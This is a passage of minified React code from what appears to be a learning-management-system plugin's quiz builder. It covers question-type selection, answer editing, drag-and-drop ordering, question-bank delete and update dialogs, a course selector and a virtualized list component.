Pw=e=>React.createElement("svg",(0,Re.A)({xmlns:"http://www.w3.org/2000/svg",fillRule:"evenodd",strokeLinejoin:"round",strokeMiterlimit:2,clipRule:"evenodd",viewBox:"0 0 28 28",role:"img"},e),React.createElement("path",{fill:"#ebebeb",d:"M3.593 3.475h21.773v21.371H3.593z"}),React.createElement("path",{fill:"#ff9066",d:"M28 3c0-1.656-1.344-3-3-3H3C1.344 0 0 1.344 0 3v22c0 1.656 1.344 3 3 3h22c1.656 0 3-1.344 3-3zM4.667 21h17.5v-2h-17.5zm9.911-5.606a.6.6 0 0 0 .14-.017l2.311-.578a.6.6 0 0 0 .268-.152L24.4 7.545a1.15 1.15 0 0 0 0-1.634l-.916-.917a1.184 1.184 0 0 0-1.634 0l-7.103 7.103a.6.6 0 0 0-.152.268l-.578 2.311a.573.573 0 0 0 .561.718m1.099-2.593 5.256-5.256.917.916-5.257 5.256-1.221.305zm6.99-6.99.916.917-.916.916-.917-.916z"}));const Dw=e=>React.createElement("svg",(0,Re.A)({xmlns:"http://www.w3.org/2000/svg",xmlSpace:"preserve",style:{fillRule:"evenodd",clipRule:"evenodd",strokeLinejoin:"round",strokeMiterlimit:2},viewBox:"0 0 18 18",role:"img"},e),React.createElement("path",{d:"M18 2.077A2.08 2.08 0 0 0 15.923 0H2.077A2.08 2.08 0 0 0 0 2.077v13.846C0 17.069.931 18 2.077 18h13.846A2.08 2.08 0 0 0 18 15.923z",style:{fill:"#1ccc5b"}}),React.createElement("path",{d:"M10.5 13.42c1.606-.705 2.732-2.236 2.732-4.099S12.106 5.928 10.5 5.223v.911a3.7 3.7 0 0 1 1.821 3.187 3.7 3.7 0 0 1-1.821 3.188z",style:{fill:"#fff",fillRule:"nonzero"}}),React.createElement("path",{d:"M10.5 7.045v4.553c.558-.501.911-1.47.911-2.277 0-.806-.353-1.775-.911-2.276m-5.464 4.553h1.228l2.617 1.745a.457.457 0 0 0 .708-.379V5.679a.455.455 0 0 0-.707-.379L6.264 7.045H5.036a.91.91 0 0 0-.911.91v2.733c0 .502.408.91.911.91m0-3.643h1.366c.015 0 .028-.007.042-.008a.5.5 0 0 0 .173-.053c.012-.007.026-.008.038-.015l2.024-1.35v5.585l-2.024-1.35c-.012-.008-.026-.009-.038-.015a.5.5 0 0 0-.174-.053c-.014-.001-.027-.008-.041-.008H5.036z",style:{fill:"#fff",fillRule:"nonzero"}}));const _w=e=>React.createElement("svg",(0,Re.A)({xmlns:"http://www.w3.org/2000/svg",xmlSpace:"preserve",style:{fillRule:"evenodd",clipRule:"evenodd",strokeLinejoin:"round",strokeMiterlimit:2},viewBox:"0 0 18 18",role:"img"},e),React.createElement("path",{d:"M18 2.077A2.08 2.08 0 0 0 15.923 0H2.077A2.08 2.08 0 0 0 0 2.077v13.846C0 17.069.931 18 2.077 18h13.846A2.08 2.08 0 0 0 18 15.923z",style:{fill:"#ff4d4d"}}),React.createElement("path",{d:"M11.826 7.158a.91.91 0 0 0-.911-.91H5.451a.91.91 0 0 0-.911.91v4.554c0 .502.409.911.911.911h5.464a.91.91 0 0 0 .911-.911v-1.518l1.821 1.518V7.158l-1.821 1.518zm-.91 4.554H5.451V7.158h5.464l.001 2.277h-.001l.001.001z",style:{fill:"#fff",fillRule:"nonzero"}}));const kw=e=>React.createElement("svg",(0,Re.A)({xmlns:"http://www.w3.org/2000/svg",xmlSpace:"preserve",style:{fillRule:"evenodd",clipRule:"evenodd",strokeLinejoin:"round",strokeMiterlimit:2},viewBox:"0 0 26 26",role:"img"},e),React.createElement("path",{d:"M26 3c0-1.656-1.344-3-3-3H3C1.344 0 0 1.344 0 3v20c0 1.656 1.344 3 3 3h20c1.656 0 3-1.344 3-3z",style:{fill:"#3ad0ae"}}),React.createElement("path",{d:"M9.905 16.095H7.274l3.946 3.947V6.887H9.905zm3.946-9.208v13.155h1.316v-9.209h2.631z",style:{fill:"#fff",fillRule:"nonzero"}}));var Qw=[{value:"true-false",label:(0,E.__)("True False","learning-management-system"),icon:Tv},{value:"single-choice",label:(0,E.__)("Single Choice","learning-management-system"),icon:Uv},{value:"multiple-choice",label:(0,E.__)("Multiple Choice","learning-management-system"),icon:vi},{value:"text-answer",label:(0,E.__)("Text Answer","learning-management-system"),icon:Iw,isProPlan:!0},{value:"matching",label:(0,E.__)("Match the Following","learning-management-system"),icon:Ow,isProPlan:!0},{value:"fill-in-the-blanks",label:(0,E.__)("Fill in the blanks","learning-management-system"),icon:Pw,isProPlan:!0},{value:"audio",label:(0,E.__)("Audio","learning-management-system"),icon:Dw,isProPlan:!0},{value:"video",label:(0,E.__)("Video","learning-management-system"),icon:_w,isProPlan:!0},{value:"sortable",label:(0,E.__)("Sortable","learning-management-system"),icon:kw,isProPlan:!0}];const zw=e=>{var{isOpen:t,onClose:n,onSelectType:a,disabledQuestionType:r}=e;return l().createElement(h.aF,{isOpen:t,onClose:n,size:"4xl",isCentered:!0},l().createElement(f.m,null),l().createElement(b.$,{py:"6"},l().createElement(w.r,{pb:"2",pt:"0"},(0,E.__)("Select Question Type","learning-management-system")),l().createElement(C.s,null),l().createElement(x.c,null,l().createElement(Do.c,{mb:"6",border:"1px",color:"#DEDEDE"}),l().createElement(ht.r,{columns:{base:1,sm:2,md:3},minChildWidth:"200px",spacing:"20px"},Qw.map((e=>{var{value:t,label:n,icon:i,isProPlan:o}=e,s=r===t||o;return l().createElement(Ze.z,{key:t,align:"center",px:"2.5",shadow:"sm",borderWidth:"1px",borderRadius:"sm",py:"3",cursor:s?"not-allowed":"pointer",onClick:()=>{a&&!s&&a(t)},pointerEvents:s?"none":"auto",_hover:{bgColor:"#F8F9FA"},rounded:"base"},l().createElement(ft.s,{flex:r===t?1:void 0,alignItems:"center",gap:2,opacity:s?.5:1},l().createElement(vu,{icon:i,background:"transparent"}),l().createElement(ke.D,{fontSize:"md",fontWeight:"semibold"},n)),o&&l().createElement(yl,null),r===t&&l().createElement(bt.y,{size:"sm"}))}))))))};var qw=n(61186);const Fw=e=>{var{onClose:t,onDeleteConfirm:n,isLoading:r,heading:i,isOpen:o,dialogBody:s,size:m="md"}=e,c=(0,a.useRef)();return l().createElement(Ke.Lt,{isCentered:!0,isOpen:o,leastDestructiveRef:c,onClose:t,size:m},l().createElement(f.m,null,l().createElement(Ke.EO,null,l().createElement(w.r,null,i),l().createElement(x.c,null,s||(0,E.__)("Are you sure? You can’t restore after deleting.","learning-management-system")),l().createElement(A.j,null,l().createElement(Bt.e,null,l().createElement(p.$,{onClick:t,variant:"outline",ref:c},(0,E.__)("Cancel","learning-management-system")),l().createElement(p.$,{colorScheme:"red",onClick:n,isLoading:r},(0,E.__)("Delete","learning-management-system")))))))};var jw=n(81556),Vw=n(44079),Lw=n(12131);const Mw=e=>{var t,{answer:n,index:a,onDeletePress:r,onDuplicatePress:i,onCheckPress:o}=e,{control:s,register:m}=(0,Je.xW)(),c=(0,Je.FH)({name:"answers.".concat(a,".correct"),control:s});return l().createElement(Kc.sx,{draggableId:(null==n||null===(t=n.id)||void 0===t?void 0:t.toString())||a.toString(),index:a},(e=>l().createElement(d.B,(0,Re.A)({key:n.id,direction:"row",border:"1px",borderColor:c?"green.200":"gray.100",rounded:"sm",alignItems:"center",justify:"space-between",bg:"white",px:"2",py:"1",ref:e.innerRef},e.draggableProps),l().createElement(d.B,{direction:"row",spacing:"2",align:"center"},l().createElement(_e.o,e.dragHandleProps,l().createElement($e.I,{fontSize:"lg",color:"gray.500",as:tu})),l().createElement(Je.xI,{name:"answers.".concat(a,".name"),control:s,defaultValue:n.name,render:e=>{var{field:t}=e;return l().createElement(jw.F,{value:t.value,onSubmit:e=>{""===e.trim()?t.onChange("Option"):t.onChange(e)}},l().createElement(Vw.l,null),l().createElement(Lw.j,t))}})),l().createElement(d.B,{direction:"row",spacing:"4"},l().createElement(On.S,(0,Re.A)({colorScheme:"green"},m("answers.".concat(a,".correct")),{defaultChecked:n.correct,onChange:e=>o(a,e.target.checked)})),l().createElement(d.B,{direction:"row",spacing:"2"},l().createElement($n.m,{label:(0,E.__)("Duplicate answer","learning-management-system")},l().createElement(Un.K,{variant:"icon","aria-label":(0,E.__)("Duplicate","learning-management-system"),icon:l().createElement(kt.Xpf,null),onClick:i})),l().createElement($n.m,{label:(0,E.__)("Delete answer","learning-management-system")},l().createElement(Un.K,{variant:"icon",colorScheme:"red","aria-label":(0,E.__)("Delete","learning-management-system"),icon:l().createElement(ea,{width:"12px",height:"12px",fill:"currentColor"}),onClick:r})))))))};const Rw=e=>{var{currentQuestionType:t,isUpdating:n}=e,{control:r}=(0,Je.xW)(),i=(0,We.d)(),{fields:o,append:s,remove:m,move:c,update:u}=(0,Je.jz)({control:r,name:"answers"}),A=(0,Je.FH)({control:r,name:"answers"}),y="true-false"===t&&A.length>2,v="true-false"===t&&A.length>1,f=N(A)&&ae("name",A)||!1,h=N(A)&&!le(A,"correct",!0)||!1;return(0,a.useEffect)((()=>{var e;"single-choice"===t&&((null===(e=o.filter((e=>e.correct)))||void 0===e?void 0:e.length)>1&&o.forEach(((e,t)=>{u(t,{name:e.name,correct:0===t})})))}),[t]),l().createElement(d.B,{direction:"column",spacing:"6"},l().createElement(d.B,{direction:"column",spacing:"1"},l().createElement(_t.S,{in:f||y||h},l().createElement(at,{status:"error",mb:"4",fontSize:"xs",p:"2"},l().createElement(Ze.z,{gap:2},l().createElement(g.E,{fontWeight:"bold"},y?(0,E.__)("This question type only accepts one","learning-management-system"):h?(0,E.__)("You need to check at least one answer","learning-management-system"):(0,E.__)("Duplicate Answers","learning-management-system")," "),l().createElement(g.E,null,(0,E.__)("Please make changes","learning-management-system"))))),l().createElement(Kc.JY,{onDragEnd:e=>{e.destination&&(e.destination.droppableId===e.source.droppableId&&e.destination.index===e.source.index||c(e.source.index,e.destination.index))}},l().createElement(Kc.gL,{droppableId:"quiz-answer",type:"answer"},((e,n)=>l().createElement(d.B,(0,Re.A)({direction:"column",spacing:"2",px:"2",sx:n.isDraggingOver?tn:{},ref:e.innerRef},e.droppableProps),o.map(((e,n)=>l().createElement(Mw,{answer:e,index:n,key:e.id,onDeletePress:()=>m(n),onDuplicatePress:()=>(e=>{if(!v)try{var n;s({name:"".concat(o[e].name," duplicate"),correct:"true-false"!==t&&(null===(n=o[e])||void 0===n?void 0:n.correct)})}catch(e){i({title:(0,E.__)("Error while duplicating answer","learning-management-system"),status:"error",description:"".concat(e)})}})(n),onCheckPress:(e,n)=>((e,n)=>{try{["true-false","single-choice"].includes(t)&&o.forEach(((t,n)=>{u(n,n!==e?{name:A[n].name,correct:!1}:{name:A[n].name,correct:!0})})),u(e,{name:A[e].name,correct:n})}catch(e){i({title:(0,E.__)("Error while checking answer","learning-management-system"),status:"error",description:"".concat(e)})}})(e,n)}))),e.placeholder))))),l().createElement(Bt.e,{isDisabled:v,display:"block"},l().createElement(p.$,{leftIcon:l().createElement($e.I,{as:kt.Ca6,fontSize:"xl"}),variant:"link",color:"gray.900",onClick:()=>{s({name:"Option ".concat(o.length+1),correct:!1})}},(0,E.__)("Add New Answer","learning-management-system"))))};const Tw=e=>{var{currentQuestionType:t,isUpdating:n}=e;return l().createElement(d.B,{direction:"column",spacing:"4"},l().createElement(ft.s,{sx:$t},l().createElement(ke.D,{fontSize:"lg",fontWeight:"semibold"},(0,E.__)("Answers","learning-management-system"))),(()=>{if(["true-false","single-choice","multiple-choice"].includes(t))return l().createElement(Rw,{currentQuestionType:t,isUpdating:n})})())};const Uw=e=>{var{id:t,questionDescription:n}=e;return l().createElement(d.B,{direction:"column"},l().createElement(Ge.l,null,(0,E.__)("Question Description","learning-management-system")),l().createElement(Ne.MJ,null,l().createElement(Ki,{name:"description",defaultValue:n,id:"question-description-".concat(t),height:100})))};const Ww=e=>{var t,{id:n,defaultQuestionType:a,defaultQuestionName:r,defaultDescription:i}=e,{register:o,setValue:s,formState:{errors:m,defaultValues:c}}=(0,Je.xW)();(0,E.__)("True False","learning-management-system"),(0,E.__)("Single Choice","learning-management-system"),(0,E.__)("Multiple Choice","learning-management-system");return l().createElement(d.B,{direction:"column",spacing:"6"},l().createElement(Ne.MJ,{isInvalid:!(null==m||!m.name)},l().createElement(ft.s,{justifyContent:"space-between",mb:"3",align:"center"},l().createElement(Ge.l,{m:0},(0,E.__)("Question Name","learning-management-system")),l().createElement(Ze.z,{spacing:"-1",alignItems:"center"},l().createElement(Ge.l,{mb:"0"},(0,E.__)("Points","learning-management-system")),l().createElement(Je.xI,{name:"points",render:e=>{var{field:t}=e;return l().createElement(yi.Q7,(0,Re.A)({},t,{w:"14",min:1,max:100,size:"xs"}),l().createElement(yi.OO,{borderRadius:"base",shadow:"input",textAlign:"center",fontSize:"sm"}))}}))),l().createElement(Ki,{defaultValue:null!=r?r:null==c?void 0:c.raw_name,id:"question-name-".concat(n),name:"name",height:80,showBasicToolbar:!0}),l().createElement(ui.Wt,null,(null==m?void 0:m.name)&&(null==m||null===(t=m.name)||void 0===t?void 0:t.message))),l().createElement(Uw,{id:n,questionDescription:i||""}))};var Kw=["id","menu_order","permalink","is_from_bank"];function Nw(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var a=Object.getOwnPropertySymbols(e);t&&(a=a.filter((function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable}))),n.push.apply(n,a)}return n}function Gw(e){for(var t=1;t<arguments.length;t++){var n=null!=arguments[t]?arguments[t]:{};t%2?Nw(Object(n),!0).forEach((function(t){(0,F.A)(e,t,n[t])})):Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(n)):Nw(Object(n)).forEach((function(t){Object.defineProperty(e,t,Object.getOwnPropertyDescriptor(n,t))}))}return e}var Hw=e=>{var t,{questionData:n,index:r,quizId:i,isQuestionBankOpened:o,bulkIds:m,setBulkIds:c,openedQuestionDetail:y,setOpenedQuestionDetail:v}=e,h=(0,We.d)(),[b,C]=(0,a.useState)(null),S=(0,Je.mN)({defaultValues:{name:n.name,type:n.type,points:n.points,answers:n.answers}}),{control:B,formState:{errors:I}}=S,{isOpen:O,onOpen:P,onClose:D}=(0,Ue.j)(),{isOpen:_,onOpen:k,onClose:Q}=(0,Ue.j)(),z=new mt(rt.questions),F=(0,s.jE)(),j=(0,a.useRef)(),V=(0,qw.l)(),L=y===(null==n?void 0:n.id),M=(0,Je.FH)({name:"deleteFromBank",control:B,defaultValue:!1}),R=(0,wt.n)(Gw({mutationFn:e=>z.store(e)},{onSuccess:e=>{F.invalidateQueries({queryKey:["questions".concat(i)]}),F.invalidateQueries({queryKey:["allQuestions"]})},onError:e=>{var t;h({title:(0,E.__)("Failed to duplicate question.","learning-management-system"),description:"".concat(null===(t=e.response)||void 0===t||null===(t=t.data)||void 0===t?void 0:t.message),isClosable:!0,status:"error"})}})),T=(0,wt.n)(Gw(Gw({mutationFn:e=>z.update(n.id,e)},{onSuccess:e=>{S.reset(S.getValues()),F.invalidateQueries({queryKey:["allQuestions"]}),h({title:(0,E.__)("Question Updated","learning-management-system"),isClosable:!0,status:"success"}),F.invalidateQueries({queryKey:["questions".concat(i)]})},onError:e=>{var t;h({title:(0,E.__)("Failed to update question.","learning-management-system"),description:"".concat(null===(t=e.response)||void 0===t||null===(t=t.data)||void 0===t?void 0:t.message),isClosable:!0,status:"error"})}}),{},{onSettled:()=>{Q()}})),U=(0,wt.n)(Gw({mutationFn:e=>z.delete(e,{force:!0,delete_from_bank:M||void 0,quiz_id:M?void 0:i})},{onSuccess:e=>{D(),F.invalidateQueries({queryKey:["allQuestions"]}),h({title:(0,E.__)("Question Deleted","learning-management-system"),isClosable:!0,status:"error"}),F.invalidateQueries({queryKey:["questions".concat(i)]})},onError:e=>{var t;h({title:(0,E.__)("Failed to delete question.","learning-management-system"),description:"".concat(null===(t=e.response)||void 0===t||null===(t=t.data)||void 0===t?void 0:t.message),isClosable:!0,status:"error"})}})),W=()=>{var{id:e,menu_order:t,permalink:a,is_from_bank:l}=n,r=(0,q.A)(n,Kw);R.mutate(r)},K=e=>{C(e),null==n||!n.is_from_bank||_?T.mutate(e):k()},G=e=>{switch(e){case"true-false":return Tv;case"multiple-choice":return vi;case"single-choice":return Uv;default:return kt.wfp}},H=(0,Je.FH)({name:"type",control:B,defaultValue:n.type}),J=((0,Je.FH)({name:"enable_description",defaultValue:n.enable_description,control:B}),(0,Je.FH)({control:B,name:"answers"})),X="true-false"===H&&J.length>2,Y=N(J)&&ae("name",J)||!1,Z=N(J)&&!le(J,"correct",!0)||!1,$=(0,a.useMemo)((()=>!(!["true-false","single-choice","multiple-choice"].includes(H)||!(Y||X||Z))),[H,Y,X,Z]);return Ca(S.formState.isDirty),l().createElement(l().Fragment,null,l().createElement(Kc.sx,{draggableId:null==n||null===(t=n.id)||void 0===t?void 0:t.toString(),index:r},(e=>l().createElement(Qe.a,(0,Re.A)({mb:"3",ref:e.innerRef},e.draggableProps),l().createElement(Qe.a,{role:"group",borderWidth:"1px",borderColor:"gray.100",rounded:"sm",bg:"white",p:"0",shadow:L?"question":"none",_hover:{borderColor:L?"inherit":"primary.500"}},l().createElement(d.B,{direction:"row",px:"2",py:"1.5",align:"center"},l().createElement(d.B,{direction:"row",spacing:"2",align:"center",flex:"1",onClick:()=>v(L?null:null==n?void 0:n.id),cursor:"pointer"},l().createElement(d.B,{direction:"row",align:"center"},l().createElement(_e.o,(0,Re.A)({},e.dragHandleProps,{onClick:e=>e.stopPropagation()}),l().createElement($e.I,{fontSize:"lg",color:"gray.500",as:tu})),l().createElement($e.I,{fontSize:"xl",as:G(H)}),l().createElement(g.E,{color:"gray.400",fontSize:"xs",fontWeight:"bold"},r+1)),o&&l().createElement(d.B,null,l().createElement(On.S,{isChecked:m.includes(null==n?void 0:n.id.toString()),onChange:e=>c(e.target.checked?[...m,null==n?void 0:n.id.toString()]:m.filter((e=>e!==(null==n?void 0:n.id.toString()))))})),l().createElement(g.E,{_hover:{background:"transparent"},px:"0",py:"1",cursor:"pointer",dangerouslySetInnerHTML:{__html:null==n?void 0:n.name},className:"parsed-quiz-question-name"})),l().createElement(d.B,{direction:"row",spacing:"2",opacity:"0",_groupHover:{opacity:1}},l().createElement($n.m,{label:(0,E.__)("Duplicate","learning-management-system")},l().createElement(Un.K,{variant:"icon","aria-label":(0,E.__)("Duplicate","learning-management-system"),icon:l().createElement(kt.Xpf,null),onClick:W})),l().createElement($n.m,{label:(0,E.__)("Delete","learning-management-system")},l().createElement(Un.K,{variant:"icon",colorScheme:"red",_hover:{color:"red.500"},"aria-label":(0,E.__)("Delete","learning-management-system"),icon:l().createElement(ea,{width:"12px",height:"12px",fill:"currentColor"}),minW:"auto",onClick:P})))),L&&l().createElement(Qe.a,{borderTop:"1px",borderColor:"gray.100",p:"6"},l().createElement(Je.Op,S,l().createElement("form",{onSubmit:S.handleSubmit(K)},l().createElement(d.B,{direction:"column",spacing:"8"},l().createElement(Ww,{id:null==n?void 0:n.id,defaultQuestionType:n.type,defaultQuestionName:n.raw_name,defaultDescription:n.description}),l().createElement(Tw,{currentQuestionType:H,isUpdating:T.isPending}),l().createElement(Do.c,null),l().createElement(Bt.e,null,l().createElement(p.$,{colorScheme:"primary",type:"submit",isLoading:Boolean(V),isDisabled:Boolean($)},(0,E.__)("Update","learning-management-system"))))))))))),R.isPending&&l().createElement(_e.o,null,l().createElement(bt.y,null)),l().createElement(Fw,{heading:M?(0,E.__)("Delete Question from All Quizzes","learning-management-system"):(0,E.__)("Delete Question from This Quiz","learning-management-system"),isOpen:O,onClose:D,onDeleteConfirm:S.handleSubmit((()=>{U.mutate(n.id)})),isLoading:U.isPending,dialogBody:null!=n&&n.is_from_bank?l().createElement(Je.Op,S,l().createElement(u.T,{alignItems:"flex-start",spacing:4},l().createElement(g.E,{color:"gray.600"},(0,E.__)("This question is part of the question bank. Are you sure you want to proceed?","learning-management-system")),l().createElement(On.S,S.register("deleteFromBank"),(0,E.__)("Delete From Bank","learning-management-system")),l().createElement(g.E,{fontSize:"sm"},M?(0,E.__)("Delete from bank is enabled. This question will be removed from the question bank and all associated quizzes.","learning-management-system"):(0,E.__)("This question will only be removed from this quiz. It will remain in the question bank.","learning-management-system")))):l().createElement(g.E,null,(0,E.__)("Are you sure you want to delete this question? This is the original question, and deleting it will remove it from all quizzes where it's used.","learning-management-system")),size:"lg"}),l().createElement(Ke.Lt,{isOpen:_,onClose:Q,isCentered:!0,leastDestructiveRef:j,size:"lg"},l().createElement(f.m,null,l().createElement(Ke.EO,null,l().createElement(w.r,null,(0,E.__)("Update Question","learning-management-system")),l().createElement(x.c,null,(0,E.__)("This question is part of the question bank. If you update it, it will also be updated in the question bank. Are you sure you want to proceed?","learning-management-system")),l().createElement(A.j,null,l().createElement(Bt.e,null,l().createElement(p.$,{ref:j,onClick:Q,variant:"outline"},(0,E.__)("Cancel","learning-management-system")),l().createElement(p.$,{colorScheme:"primary",onClick:()=>K(b),isLoading:T.isPending},(0,E.__)("Update","learning-management-system"))))))))};const Jw=l().memo(Hw);const Xw=e=>{var t,{wishlistItem:n,showFormLabel:a}=e,r=(0,Je.xW)(),{setValue:i}=r,o=new mt(rt.courses),s=(0,Pn.I)({queryKey:["courseList"],queryFn:()=>o.list({order_by:"name",order:"asc",per_page:5})});return l().createElement(Ne.MJ,{py:a?"3":"0"},a&&l().createElement(Ge.l,null,(0,E.__)("Course","learning-management-system")),l().createElement(Co,{onChange:e=>{i("course_id",null==e?void 0:e.value)},placeholder:(0,E.__)("Select Course","learning-management-system"),isClearable:!0,styles:dn,cacheOptions:!0,loadingMessage:()=>(0,E.__)("Searching course...","learning-management-system"),noOptionsMessage:e=>{var{inputValue:t}=e;return t.length>0?(0,E.__)("Course not found.","learning-management-system"):s.isLoading?(0,E.__)("Loading...","learning-management-system"):(0,E.__)("Please enter 1 or more characters.","learning-management-system")},menuPortalTarget:"undefined"!=typeof document?document.body:void 0,menuPosition:"fixed",menuPlacement:"auto",defaultValue:n?{value:n.course_id,label:"#".concat(n.id," - ").concat(n.course_title)}:void 0,defaultOptions:s.isSuccess?null==s||null===(t=s.data)||void 0===t||null===(t=t.data)||void 0===t?void 0:t.map((e=>({value:null==e?void 0:e.id,label:"#".concat(null==e?void 0:e.id," - ").concat(null==e?void 0:e.name)}))):[],loadOptions:(e,t)=>{if(e.length<0)return t([]);o.list({search:e}).then((e=>{var n;t(null==e||null===(n=e.data)||void 0===n?void 0:n.map((e=>({value:e.id,label:"#".concat(e.id," ").concat(e.name)}))))}))}}))};var Yw=n(17613),Zw=["itemCount","getItemHeight","renderItem","containerRef","isLoading","loadingItems","customLoader","itemLoader","loadingText","showSkeleton","skeletonCount","height","overflowY","useParentScroll","onLoadMore"];function $w(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var a=Object.getOwnPropertySymbols(e);t&&(a=a.filter((function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable}))),n.push.apply(n,a)}return n}function eC(e){for(var t=1;t<arguments.length;t++){var n=null!=arguments[t]?arguments[t]:{};t%2?$w(Object(n),!0).forEach((function(t){(0,F.A)(e,t,n[t])})):Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(n)):$w(Object(n)).forEach((function(t){Object.defineProperty(e,t,Object.getOwnPropertyDescriptor(n,t))}))}return e}var tC=(0,a.memo)((e=>{var{itemCount:t,getItemHeight:n,renderItem:r,containerRef:i,isLoading:o=!1,loadingItems:s=[],customLoader:m,itemLoader:c,loadingText:u="Loading...",showSkeleton:d=!0,skeletonCount:A=5,height:p="400px",overflowY:E="auto",useParentScroll:y=!1,onLoadMore:v}=e,f=(0,q.A)(e,Zw),[h,b]=(0,a.useState)([]),[w,C]=(0,a.useState)(0),[x,S]=(0,a.useState)({start:0,end:20}),[B,I]=(0,a.useState)({isInitialLoading:!0,loadingItems:new Set}),O=(0,a.useRef)(0),P=(0,a.useRef)(),D=(0,a.useRef)(new Set),_=(0,a.useMemo)((()=>{for(var e=[],t=0,n=0;n<h.length;n++)e.push(t),t+=h[n];return e}),[h]);(0,a.useEffect)((()=>{D.current=new Set(s),I((e=>eC(eC({},e),{},{loadingItems:D.current})))}),[s]),(0,a.useEffect)((()=>{if(0===h.length&&I((e=>eC(eC({},e),{},{isInitialLoading:!0}))),0===t)return I((e=>eC(eC({},e),{},{isInitialLoading:!1}))),b([]),void C(0);requestAnimationFrame((()=>{for(var e=[],a=0,l=0;l<t;l++){var r=n(l);e.push(r),a+=r}b(e),C(a),I((e=>eC(eC({},e),{},{isInitialLoading:!1})))}))}),[t,n]);var k=(0,a.useCallback)((()=>{P.current&&clearTimeout(P.current),P.current=setTimeout((()=>{var e,t,n=y?(null===(e=i.current)||void 0===e?void 0:e.closest("[data-scroll-container]"))||(null===(t=i.current)||void 0===t?void 0:t.parentElement):i.current;if(n&&0!==h.length&&(P.current&&clearTimeout(P.current),n&&0!==h.length)){var{scrollTop:a,clientHeight:l,scrollHeight:r}=n;if(v&&a+l>=r-100){var o=Date.now();o-O.current>1e3&&(O.current=o,v())}var s=0;if(y&&i.current){var m=i.current.getBoundingClientRect(),c=n.getBoundingClientRect();s=m.top-c.top+n.scrollTop}for(var u=s,d=0;d<h.length&&!(u+h[d]>a);d++)u+=h[d];for(var g=d=Math.max(0,d-3),A=a+l;g<h.length&&u<A;)u+=h[g],g++;g=Math.min(h.length,g+3),S((e=>e.start!==d||e.end!==g?{start:d,end:g}:e))}}),16)}),[h,i,y,v]);(0,a.useEffect)((()=>{var e,t;if(!B.isInitialLoading){var n=y?(null===(e=i.current)||void 0===e?void 0:e.closest("[data-scroll-container]"))||(null===(t=i.current)||void 0===t?void 0:t.parentElement):i.current;if(n)return n.addEventListener("scroll",k,{passive:!0}),k(),()=>{n.removeEventListener("scroll",k),P.current&&clearTimeout(P.current)}}}),[k,B.isInitialLoading,y]);var Q=(0,a.useMemo)((()=>{var e=e=>{var{text:t}=e;return l().createElement(ft.s,{direction:"column",align:"center",justify:"center",h:"full",gap:3},l().createElement(bt.y,{size:"lg",color:"blue.500",thickness:"4px"}),t&&l().createElement(g.E,{color:"gray.500",fontSize:"sm"},t))};return e.displayName="DefaultLoader",e}),[]),z=(0,a.useMemo)((()=>{var e=()=>l().createElement(ft.s,{align:"center",justify:"center",h:"full",bg:"gray.50",border:"1px",borderColor:"gray.200",borderRadius:"md"},l().createElement(bt.y,{size:"sm",color:"blue.500"}));return e.displayName="DefaultItemLoader",e}),[]),F=(0,a.useMemo)((()=>{var e=()=>l().createElement(Qe.a,{p:4,bg:"white",borderRadius:"md",border:"1px",borderColor:"gray.200",mb:2},l().createElement(St.E,{height:"20px",mb:2}),l().createElement(Ba.r,{mt:2,noOfLines:2,spacing:2,skeletonHeight:"12px"}));return e.displayName="SkeletonLoader",e}),[]),j=eC({ref:i,h:p,position:"relative"},y?{}:{overflowY:E});if(B.isInitialLoading||o)return l().createElement(Qe.a,j,m||(d?l().createElement(Qe.a,{p:2},Array.from({length:A}).map(((e,t)=>l().createElement(F,{key:t})))):l().createElement(Q,{text:u})));for(var V=[],L=x.start;L<x.end;L++){var M=D.current.has(L);V.push(l().createElement(Qe.a,{key:L,position:"absolute",top:"".concat(_[L]||0,"px"),w:"full",h:"".concat(h[L]||0,"px"),overflow:"hidden"},M?c||l().createElement(z,null):r(L)))}return l().createElement(Qe.a,(0,Re.A)({},j,f),l().createElement(Qe.a,{h:"".concat(w,"px"),position:"relative"},V))}));tC.displayName="VirtualizedContainer";var nC=["id","menu_order","permalink","is_from_bank"];function aC(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var a=Object.getOwnPropertySymbols(e);t&&(a=a.filter((function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable}))),n.push.apply(n,a)}return n}function lC(e){for(var t=1;t<arguments.length;t++){var n=null!=arguments[t]?arguments[t]:{};t%2?aC(Object(n),!0).forEach((function(t){(0,F.A)(e,t,n[t])})):Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(n)):aC(Object(n)).forEach((function(t){Object.defineProperty(e,t,Object.getOwnPropertyDescriptor(n,t))}))}return e}var rC=e=>{switch(e){case"true-false":return Tv;case"multiple-choice":return vi;case"single-choice":return Uv;default:return kt.wfp}};const iC=e=>{var t,{questionData:n,bulkIds:r,setBulkIds:i,quizId:o,onAddClick:m,isAdding:c,closeQuestionBank:u}=e,A=(0,We.d)(),p=(0,Je.mN)({defaultValues:{name:null==n?void 0:n.name}}),{control:y}=p,{isOpen:v,onOpen:f,onClose:h}=(0,Ue.j)(),b=new mt(rt.questions),w=(0,s.jE)(),C=(0,wt.n)(lC({mutationFn:e=>b.delete(e,{force:!0,delete_from_bank:!0})},{onSuccess:e=>{h(),w.invalidateQueries({queryKey:["questions".concat(o)]}),i([]),w.invalidateQueries({queryKey:["allQuestions"]}),A({title:(0,E.__)("Question Deleted","learning-management-system"),isClosable:!0,status:"error"}),w.invalidateQueries({queryKey:["questions".concat(e.parent_id)]})},onError:e=>{var t;A({title:(0,E.__)("Failed to delete question.","learning-management-system"),description:"".concat(null===(t=e.response)||void 0===t||null===(t=t.data)||void 0===t?void 0:t.message),isClosable:!0,status:"error"})}})),x=(0,wt.n)(lC({mutationFn:e=>b.store(e)},{onSuccess:e=>{u&&u(),w.invalidateQueries({queryKey:["questions".concat(o)]}),w.invalidateQueries({queryKey:["allQuestions"]})},onError:e=>{var t;A({title:(0,E.__)("Failed to duplicate question.","learning-management-system"),description:"".concat(null===(t=e.response)||void 0===t||null===(t=t.data)||void 0===t?void 0:t.message),isClosable:!0,status:"error"})}})),S=(0,Je.FH)({name:"type",control:y,defaultValue:null==n?void 0:n.type}),B=(0,a.useMemo)((()=>new Set(r)),[r]);return 